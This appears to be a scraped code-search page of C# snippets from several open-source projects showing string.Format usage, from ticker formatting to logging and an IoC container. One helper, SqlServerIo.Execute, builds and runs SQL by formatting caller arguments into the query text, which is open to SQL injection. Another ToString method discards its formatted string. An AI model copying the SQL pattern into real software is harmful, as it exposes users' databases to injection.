            var bindData = GetIoCBindDataByTargetType(targetTypeOrSelfType);
            if (null == bindData)
            {
                bindData = GetIoCBindDataBySelfBindType(targetTypeOrSelfType);
                if (null == bindData)
                {
                    throw new NullReferenceException(string.Format("Reference:bindData is nullable."));
                }
            }

            bindData.IsSingleInstance = true;
        }

19 View Source File : BitfinexPublicTickerGet.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str = string.Format("mid: {0}, bid: {1}, ask: {2}, last: {3}, low: {4}, high: {5} volume: {6}, timestamp: {7}",
                                 Mid, Bid, Ask, LastPrice, Low, High, Volume, Timestamp);
         return str;
      }

19 View Source File : SozlukDataStore.cs
License : MIT License
Project Creator : 0ffffffffh

private static string BuildFetchAllSQLQuery(ref string baseQueryHash, int rowBegin, int rowEnd, char indexChar)
        {
            string query;

            if (!CacheManager.TryGetCachedResult<string>(baseQueryHash, out query))
            {
                query = SEARCH_SQL_ALL_BASE;

                if ((indexChar >= 'a' && indexChar <= 'z'))
                {
                    query = query.Replace("%%CONDITION%%",
                        string.Format(" WHERE (LEFT(Baslik,1) = '{0}')", indexChar));
                }
                else if (indexChar == '*')
                {
                    query = query.Replace("%%CONDITION%%",
                        string.Format(" WHERE (LEFT(Baslik,1) >= '0' AND LEFT(Baslik,1) <= '9')"));
                }
                else if (indexChar == '.')
                {
                    query = query.Replace("%%CONDITION%%", "");
                }

                
                baseQueryHash = Helper.Md5(query);

                CacheManager.CacheObject(baseQueryHash, query);
            }

            query = query.Replace("%%ROW_LIMIT_CONDITION%%", 
                string.Format("(RowNum BETWEEN {0} AND {1})", rowBegin, rowEnd));

            return query;
        }

19 View Source File : BitfinexTradesGet.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str = string.Format("Timestamp: {0} - tid: {1}, Price: {2}, Amount: {3}, Exchange: {4}, Type: {5}",
                                  Timestamp, Tid, Price, Amount, Exchange, Type);
         return base.ToString();
      }

19 View Source File : SparrowIoC.cs
License : MIT License
Project Creator : 7Bytes-Studio

private void TargetTypeCheck(Type targetType)
        {
            if (null == targetType) throw new ArgumentNullException(string.Format("Argument:targetType can not be nullable."));
        }

19 View Source File : Utils.cs
License : GNU General Public License v3.0
Project Creator : 2dust

public static void SaveLog(string strreplacedle, Exception ex)
        {
            try
            {
                string path = Path.Combine(StartupPath(), "guiLogs");
                string FilePath = Path.Combine(path, DateTime.Now.ToString("yyyyMMdd") + ".txt");
                if (!Directory.Exists(path))
                {
                    Directory.CreateDirectory(path);
                }
                if (!File.Exists(FilePath))
                {
                    FileStream FsCreate = new FileStream(FilePath, FileMode.Create);
                    FsCreate.Close();
                    FsCreate.Dispose();
                }
                FileStream FsWrite = new FileStream(FilePath, FileMode.Append, FileAccess.Write);
                StreamWriter SwWrite = new StreamWriter(FsWrite);

                string strContent = ex.ToString();

                SwWrite.WriteLine(string.Format("{0}{1}[{2}]{3}", "--------------------------------", strreplacedle, DateTime.Now.ToString("HH:mm:ss"), "--------------------------------"));
                SwWrite.Write(strContent);
                SwWrite.WriteLine(Environment.NewLine);
                SwWrite.WriteLine(" ");
                SwWrite.Flush();
                SwWrite.Close();
            }
            catch { }
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0ffffffffh

static void Log(string format, params object[] args)
        {
            Console.WriteLine(string.Format(format, args));
        }

19 View Source File : SqlServerIo.cs
License : MIT License
Project Creator : 0ffffffffh

public bool Execute(bool nonQuery, string queryStringFormat, params object[] args)
        {
            bool result = false;
            SqlTransaction sqlTran = null;
            SqlCommand cmd = null;
            string query;

            ExecPerf perf = new ExecPerf();

            affected = 0;

            if (!Ready)
                return false;

            try
            {
                if (nonQuery)
                    sqlTran = conn.BeginTransaction();

                query = string.Format(queryStringFormat, args);

                cmd = new SqlCommand(query, this.conn, sqlTran);

                if (nonQuery)
                {
                    perf.Begin();
                    affected = cmd.ExecuteNonQuery();
                    perf.Time("SQL execution", TimeSpan.FromSeconds(3));
                }
                else
                {
                    CloseReader();

                    perf.Begin();
                    reader = cmd.ExecuteReader();
                    perf.Time("sql execution",TimeSpan.FromSeconds(8));
                    affected = reader.RecordsAffected;
                }

                if (sqlTran != null)
                    sqlTran.Commit();

                result = true;
            }
            catch (Exception e)
            {
                Log.Error("Sql exec error: {0}", e.Message);

                if (sqlTran != null)
                    sqlTran.Rollback();
            }

            return result;
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 0x2b00b1e5

static bool Review()
        {
            Console.WriteLine("\n Please review these settings: \n");
            Console.WriteLine("-------------------------------------------------------------------------------");
            Console.WriteLine("Shortcuts:");
            Console.WriteLine(string.Format("   Replace desktop shortcuts: {0} \n", ReplaceDesktop.ToString()));
            if (WriteShortcuts[0] == "")
            {
                Console.WriteLine(string.Format("   Don't write additional shortcuts"));
            }
            else
            {
                Console.WriteLine(string.Format("   Write additional shortcuts to: \n"));
                foreach(string p in WriteShortcuts)
                {
                    Console.WriteLine(string.Format("       {0}", p));
                }
                Console.WriteLine();
            }
            Console.WriteLine("-------------------------------------------------------------------------------");
            Console.WriteLine("FL Studio versions:\n");
            Console.WriteLine(string.Format("   Path: {0}", FLStudioPaths));
            if(VersionNumber == ""){ Console.WriteLine("    No version specified\n"); }
            else
            { Console.WriteLine(string.Format("   Version: {0}\n", VersionNumber)); }
            Console.WriteLine("-------------------------------------------------------------------------------\n");
            Console.WriteLine("Are these settings OK? (Y/N)");
            switch (Console.ReadKey().Key)
            {
                case ConsoleKey.Y:
                    return true;
                case ConsoleKey.N:
                    return false;
            }
            return false;
        }

19 View Source File : HotKeys.cs
License : MIT License
Project Creator : 3RD-Dimension

public override string ToString()
            {
                return string.Format("{0}{1}{2}{3}",
                    Ctrl ? "Ctrl+" : string.Empty,
                    Shift ? "Shift+" : string.Empty,
                    Alt ? "Alt+" :
                    String.Empty, KeyToString(Key));
            }

19 View Source File : Bid.cs
License : MIT License
Project Creator : aabiryukov

public override string ToString()
      {
         var str = string.Format("Bid - Rate: {0}, Amount: {1}, Period: {2}, Timestamp: {3}, Frr: {4}",
            Rate, Amount, Period, Timestamp, Frr);
         return str;
      }

See More Examples